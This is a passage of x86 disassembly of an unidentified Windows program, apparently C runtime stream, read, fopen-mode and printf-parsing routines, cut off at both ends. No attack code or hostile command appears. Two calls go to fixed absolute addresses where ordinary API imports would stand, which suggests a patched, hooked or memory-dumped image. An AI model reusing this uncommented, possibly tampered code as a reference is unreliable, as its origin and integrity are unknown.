loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC6C0 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC5C0h[eax*4] mov eax, dword_4DC5C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 26F0000h test eax, eax jnz short loc_41F1E4 call near ptr 2670763h nop push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB278, 9 mov dword_4DB27C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26F0000h test eax, eax jnz short loc_41F285 nop call near ptr 2670763h test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB2F8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB464 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB460 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5A0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB598 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB598 mov [edi+ecx], eax mov eax, dword_4DB598 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C2F8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C2F8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA08 jz short loc_41F5EA cmp esi, offset dword_43CA28 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C950 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C2F8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C514 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C510 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8A0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8AC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8A4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C510 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx 